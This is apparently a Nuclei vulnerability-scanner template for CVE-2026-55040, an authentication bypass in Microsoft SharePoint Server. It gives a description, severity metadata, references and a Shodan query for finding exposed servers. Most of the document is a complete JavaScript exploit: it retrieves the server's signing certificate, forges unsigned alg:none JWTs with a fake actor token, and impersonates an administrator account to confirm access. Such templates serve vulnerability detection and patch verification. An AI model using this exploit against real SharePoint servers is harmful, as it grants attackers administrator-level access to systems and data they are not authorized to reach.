Microsoft SharePoint Server - JWT Authentication Bypass
Description
Microsoft SharePoint Server is vulnerable to an authentication bypass (CVE-2026-55040) in its JWT token validation pipeline (SPJsonWebSecurityTokenHandlerV2). The chain disables signature requirements (RequireSignedTokens=false, accepting alg:none tokens), resolves the actor token x5t thumbprint against the server's own STS signing certificate (freely retrievable from /_layouts/15/metadata/json/1) without verifying the signature, accepts unregistered certificate issuers, and only checks the actor token signature is non-empty. An unauthenticated remote attacker can forge a JWT and authenticate as any SharePoint user, including a site administrator. This template forges such a token and confirms the bypass by obtaining a SharePoint form digest.
Severity
CVSS Score
9.1
Exploit Probability
40%
Published Date
Template Author
id: CVE-2026-55040
info:
name: Microsoft SharePoint Server - JWT Authentication Bypass
author: sfewer-r7,DhiyaneshDk
severity: critical
description: |
Microsoft SharePoint Server is vulnerable to an authentication bypass (CVE-2026-55040) in its JWT token validation pipeline (SPJsonWebSecurityTokenHandlerV2). The chain disables signature requirements (RequireSignedTokens=false, accepting alg:none tokens), resolves the actor token x5t thumbprint against the server's own STS signing certificate (freely retrievable from /_layouts/15/metadata/json/1) without verifying the signature, accepts unregistered certificate issuers, and only checks the actor token signature is non-empty. An unauthenticated remote attacker can forge a JWT and authenticate as any SharePoint user, including a site administrator. This template forges such a token and confirms the bypass by obtaining a SharePoint form digest.
impact: |
Unauthorized attackers can bypass authentication, gaining unauthorized access to protected resources.
remediation: |
Update to the latest version of Microsoft Office SharePoint.
reference:
- https://github.com/sfewer-r7/CVE-2026-55040
- https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040/
- https://nvd.nist.gov/vuln/detail/CVE-2026-55040
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-55040
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2026-55040
epss-score: 0.39652
epss-percentile: 0.98555
cwe-id: CWE-1390
metadata:
max-request: 3
verified: true
shodan-query: html:"/_layouts/"
tags: cve,cve2026,sharepoint,microsoft,auth-bypass,jwt,kev,vkev
javascript:
- pre-condition: |
isPortOpen(Host, Port);
code: |
var net = require("nuclei/net");
// ===== SHA-1 (pure JavaScript, RFC 3174) =====
function sha1(data) {
function R(n, s) { return ((n << s) | (n >>> (32 - s))) >>> 0; }
function A(x, y) { return (x + y) >>> 0; }
var msg = data.slice(), L = msg.length;
msg.push(0x80);
while ((msg.length % 64) !== 56) msg.push(0);
var bl = L * 8;
msg.push(0, 0, 0, 0, (bl >>> 24) & 0xFF, (bl >>> 16) & 0xFF, (bl >>> 8) & 0xFF, bl & 0xFF);
var H = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0];
for (var blk = 0; blk < msg.length; blk += 64) {
var W = [];
for (var i = 0; i < 16; i++)
W[i] = ((msg[blk + i * 4] << 24) | (msg[blk + i * 4 + 1] << 16) | (msg[blk + i * 4 + 2] << 8) | msg[blk + i * 4 + 3]) >>> 0;
for (var i = 16; i < 80; i++)
W[i] = R(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1);
var a = H[0], b = H[1], c = H[2], d = H[3], e = H[4];
for (var t = 0; t < 80; t++) {
var f, k;
if (t < 20) { f = ((b & c) | (~b & d)) >>> 0; k = 0x5A827999; }
else if (t < 40) { f = (b ^ c ^ d) >>> 0; k = 0x6ED9EBA1; }
else if (t < 60) { f = ((b & c) | (b & d) | (c & d)) >>> 0; k = 0x8F1BBCDC; }
else { f = (b ^ c ^ d) >>> 0; k = 0xCA62C1D6; }
var T = A(A(A(A(R(a, 5), f), e), k >>> 0), W[t]);
e = d; d = c; c = R(b, 30); b = a; a = T;
}
H[0] = A(H[0], a); H[1] = A(H[1], b); H[2] = A(H[2], c); H[3] = A(H[3], d); H[4] = A(H[4], e);
}
var out = [];
for (var j = 0; j < 5; j++) out.push((H[j] >>> 24) & 0xFF, (H[j] >>> 16) & 0xFF, (H[j] >>> 8) & 0xFF, H[j] & 0xFF);
return out;
}
// ===== Base64 / Base64url =====
function b64enc(bytes) {
var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = "";
for (var i = 0; i < bytes.length; i += 3) {
var x = bytes[i], y = i + 1 < bytes.length ? bytes[i + 1] : 0, z = i + 2 < bytes.length ? bytes[i + 2] : 0;
r += t[x >>> 2];
r += t[((x & 3) << 4) | (y >>> 4)];
r += i + 1 < bytes.length ? t[((y & 0xF) << 2) | (z >>> 6)] : "=";
r += i + 2 < bytes.length ? t[z & 0x3F] : "=";
}
return r;
}
function b64url(bytes) { return b64enc(bytes).replace(/\+/g, "-").replace(/\//g, "_").replace(/=/g, ""); }
function b64urlStr(s) {
var b = [];
for (var i = 0; i < s.length; i++) b.push(s.charCodeAt(i) & 0xFF);
return b64url(b);
}
function b64dec(s) {
var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = [];
s = s.replace(/[^A-Za-z0-9+\/]/g, "");
for (var i = 0; i < s.length; i += 4) {
var a = t.indexOf(s[i]), b = t.indexOf(s[i + 1]);
var c = s[i + 2] ? t.indexOf(s[i + 2]) : -1, d = s[i + 3] ? t.indexOf(s[i + 3]) : -1;
r.push((a << 2) | (b >>> 4));
if (c !== -1) r.push(((b & 0xF) << 4) | (c >>> 2));
if (d !== -1) r.push(((c & 3) << 6) | d);
}
return r;
}
// ===== HTTP helper — accumulation loop to read full multi-chunk response =====
function httpReq(method, path, extraHdrs, body) {
var hdrs = "Host: " + Host + "\r\nUser-Agent: nuclei\r\nConnection: close\r\nContent-Length: 0\r\n";
for (var k in extraHdrs) hdrs += k + ": " + extraHdrs[k] + "\r\n";
var raw = method + " " + path + " HTTP/1.1\r\n" + hdrs + "\r\n" + (body || "");
try {
var conn;
try { conn = net.OpenTLS("tcp", Host + ":443"); }
catch (e) { conn = net.Open("tcp", Host + ":443"); }
conn.SetTimeout(30);
conn.Send(raw);
// Accumulate chunks until EOF (server closes with Connection: close)
var resp = "";
var chunk;
while (true) {
try {
chunk = conn.RecvString(4096);
if (!chunk || chunk.length === 0) break;
resp += chunk;
} catch (e) { break; }
}
conn.Close();
return resp;
} catch (e) { return ""; }
}
// ===== Dechunk — handle Transfer-Encoding: chunked if present =====
function dechunk(body) {
if (!body || body.indexOf("\r\n") === -1) return body;
var result = "";
var pos = 0;
while (pos < body.length) {
var nlIdx = body.indexOf("\r\n", pos);
if (nlIdx === -1) break;
var sizeLine = body.substring(pos, nlIdx).split(";")[0].trim();
var size = parseInt(sizeLine, 16);
if (isNaN(size) || size === 0) break;
pos = nlIdx + 2;
if (pos + size > body.length) { result += body.substring(pos); break; }
result += body.substring(pos, pos + size);
pos += size + 2;
}
return result || body;
}
function parseResp(raw) {
if (!raw) return { code: 0, body: "" };
var sep = raw.indexOf("\r\n\r\n");
if (sep === -1) sep = raw.indexOf("\n\n");
if (sep === -1) return { code: 0, body: raw };
var headers = raw.substring(0, sep);
var body = raw.substring(sep + 4);
if (headers.toLowerCase().indexOf("transfer-encoding: chunked") !== -1) {
body = dechunk(body);
}
var m = headers.match(/^HTTP\/[\d.]+\s+(\d+)/);
return { code: m ? parseInt(m[1]) : 0, body: body };
}
// ===== Main detection logic =====
var metaR = parseResp(httpReq("GET", "/_layouts/15/metadata/json/1", {}, ""));
if (metaR.code === 200 && metaR.body && metaR.body.trim()[0] !== "<") {
var meta = null;
try { meta = JSON.parse(metaR.body); } catch (e) {}
if (meta) {
var issuer = meta.issuer || "";
var atIdx = issuer.indexOf("@");
if (atIdx !== -1) {
var realm = issuer.substring(atIdx + 1);
var keys = meta.keys || [];
var certB64 = keys[0] && keys[0].keyValue ? keys[0].keyValue.value : null;
if (certB64) {
var certDer = b64dec(certB64);
var x5t = b64url(sha1(certDer));
var now = Math.floor(Date.now() / 1000);
var hostLabel = Host.split(".")[0];
var cid = "00000003-0000-0ff1-ce00-000000000000";
var aHdr = JSON.stringify({ alg: "RS256", typ: "JWT", x5t: x5t });
var aPld = JSON.stringify({ iss: issuer, nameid: issuer, nbf: now - 300, exp: now + 3600 });
var actorJwt = b64urlStr(aHdr) + "." + b64urlStr(aPld) + ".AAAA";
var forgeToken = function (nameid, nii, extra) {
var hdr = JSON.stringify({ alg: "none", typ: "JWT" });
var pld = {
aud: cid + "/" + hostLabel + "@" + realm,
iss: issuer,
nbf: now - 300,
exp: now + 3600,
nameid: nameid,
nii: nii,
trustedfordelegation: "true",
actortoken: actorJwt
};
if (extra) { for (var ek in extra) pld[ek] = extra[ek]; }
return b64urlStr(hdr) + "." + b64urlStr(JSON.stringify(pld)) + ".";
};
var tryDigest = function (token) {
return parseResp(httpReq("POST", "/_api/contextinfo",
{ Authorization: "Bearer " + token, Accept: "application/json" }, ""));
};
var output = "";
// Path 1: UPN derived from hostname domain
var parts = Host.split(".");
if (parts.length >= 3) {
var domain = parts.slice(1).join(".");
var upn = "administrator@" + domain;
var tok1 = forgeToken("upn_bypass", "urn:office:idp:activedirectory", { upn: upn });
var r1 = tryDigest(tok1);
if (r1.code === 200 && r1.body.indexOf("FormDigestValue") !== -1) {
output = "CVE-2026-55040-VULNERABLE\nDIGEST-OBTAINED\nupn=" + upn + "\nrealm=" + realm;
}
}
// Path 2: AccessToken / local service fallback
if (!output) {
var tok2 = forgeToken("0#.w|nt authority\\local service", "AccessToken", { upn: "x@localhost" });
var r2 = tryDigest(tok2);
if (r2.code === 200 && (r2.body.indexOf("FormDigestValue") !== -1 || r2.body.indexOf("UnauthorizedAccessException") !== -1)) {
output = "CVE-2026-55040-VULNERABLE\nAUTH-BYPASS-CONFIRMED\nrealm=" + realm;
}
}
if (output) Export(output);
}
}
}
}
args:
Host: "{{Host}}"
Port: "443"
matchers:
- type: word
words:
- "CVE-2026-55040-VULNERABLE"
extractors:
- type: regex
name: realm
regex:
- "realm=([0-9a-fA-F-]+)"
# digest: 4a0a00473045022100fa939bc5ea9e8c1636576b1b5b3d9010f31f0fc627c57354fd84a761efafcac202201208afb2c6b6ef93152eefd60a3aff04908cb3dfadaf8b3cae5609540c621570:922c64590222798bb761d5b6d8e72950